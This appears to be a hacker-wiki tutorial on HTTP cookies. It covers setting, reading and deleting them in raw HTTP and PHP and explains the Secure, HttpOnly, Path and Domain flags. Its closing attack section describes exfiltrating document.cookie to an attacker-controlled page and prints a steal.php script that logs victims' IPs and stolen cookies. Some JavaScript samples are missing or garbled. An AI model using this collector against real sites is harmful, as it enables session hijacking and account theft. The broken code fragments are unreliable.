Because HTTP is a stateless protocol, cookies are used to pass information transparently between the client and server, emulating a "state".
The server sets cookies on the client by using the Set-Cookie header as many times as needed to set new cookie values.
The RFC describing cookies recommends to URL-encode both the cookie name and the cookie value. As HTTP is a plain-text protocol, it could indeed be for the least annoying if we didn't encode to set a cookie with a value containing a CRLF, for example.
- 1 Setting a cookie
- 2 Accessing a cookie
- 3 Deleting a cookie
- 4 Flags
- 5 Attacks
Direct HTTP programming
Send the Set-Cookie header as many times as there are cookies.
<syntaxhighlight lang="bash"> Set-Cookie: cookie_name_urlencoded=cookie_value_urlencoded; Expires=Wdy, DD-Mon-YYYY HH:MM:SS GMT; OtherFlags </syntaxhighlight>
For the "OtherFlags", see the Flags section.
PHP (server side)
|Note that, since cookies are set in the HTTP headers, they shall be set before the HTML (or whatever you transmit over HTTP) output starts.|
See PHP.net. Basically,
<syntaxhighlight lang="php"> //setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )
setcookie('my_lover', 'hero hitler (or was it Mr. #?)', time()+1800, '/', '.staff.blackhatacademy.org', false, false); // the false, false at the end is not mandatory, since these parameters are marked as optional. // $value is to be set to the desired value. Note that you shall not use booleans, as setting $value to false will delete the cookie // $expire is the timestamp at which this cookie shall expire // $domain sets the Domain flag (see Flags section // $secure sets the Secure flag (see Flags section // $httponly sets the HttpOnly flag (see Flags section </syntaxhighlight>
|Note that PHP takes care of encoding and crap for you, so don't bother with that|
To set a cookie, you need to set a properly formatted string to the document.cookie string. Automagically, your browser will add the cookie in the site's jar. You may add all the parameters we describe in here
In order to get the properly formatted string, best option is to use a Date object, which has a very practical toGMTString() method. See this sample
Feel free to expand this example, put it in a nicely wrapped function, to parameterize it, and whatnot.
Direct HTTP programming (server side)
Use the $_COOKIE superglobal to read the cookies. Remember it can't be used to set or delete cookies, only to read them, though PHP won't shout at you if you try and set some values. Just, it won't give a damn and never set them client-side.
<syntaxhighlight lang="php"> $lover = $_COOKIE['my_lover']; </syntaxhighlight>
var cs = cookie.split('='); c[cs] = decodeURIComponent(cs);
Direct HTTP programming
To delete a cookie, simply set it with an Expires date in the past and optionally with an empty value. It will be erased.
The same goes with PHP. Set the value of the cookie to false using setcookie
Set the cookie as described above with an empty value, and an expiry date in the past.
The Secure flag indicates that a cookie may only be transmitted to the server via HTTPS, never via HTTP.
This flag protects the cookie from cross-site scripting attempts to steal the cookie (as could be done to steal a session).
The Path flag specifies which sub-part of a domain may access a cookie. Very useful when hosting on free hosters such as Geocities or ISP hosts. Indeed, if http://www.geocities.com/mysupersite sets a cookie without putting the Path=/mysupersite flag, then http://www.geocities.com/myevilsite can steal all the cookies from mysupersite, who will therefore starve. Uncool, isn't it? :(.
Domain serves the opposite purpose of Path, that is, it expands a cookie's scope beyond the FQDN that set it, to a broader domain.
Say you have a cookie that has been set by http://savitri.staff.blackhatacademy.org. By default, http://hatter.staff.blackhatacademy.org can't access it. But if the first wants to share it with the second, then by setting Domain=.staff.blackhatacademy.org, this cookie is also obtained by http://hatter.staff.blackhatacademy.org
Note that if you specify another, same-level domain (that is, http://savitri.staff.blackhatacademy.org sets a cookie with Domain=errprone.staff.blackhatacademy.org), the result is not guaranteed, as your browser might reject this cookie.
|this is to be checked and tested extensively, as it might be an interesting vector|
|Remember that stealing cookies will make your friends or the grocery shop owner angry!|
Change the current page to another location you control, using the document.cookie as parameter. Ideally make it as smooth as possible. Best option is to contaminate an iframe, and to recurse the iframe to its original contents.
steal.php should be something like
<syntaxhighlight lang="php"> <?php /* (c) 2011 BlackHatAcademy */ $data = urldecode($_GET['cookies']); file_put_contents("stolen_cookies.txt", "<IP>".$_SERVER['REMOTE_ADDR']."</IP><![CDATA[".$data."]]>", FILE_APPEND); echo ''; die(); ?> </syntaxhighlight>
|This is untested. Feel free to provide a sample implementation or anything more refined.|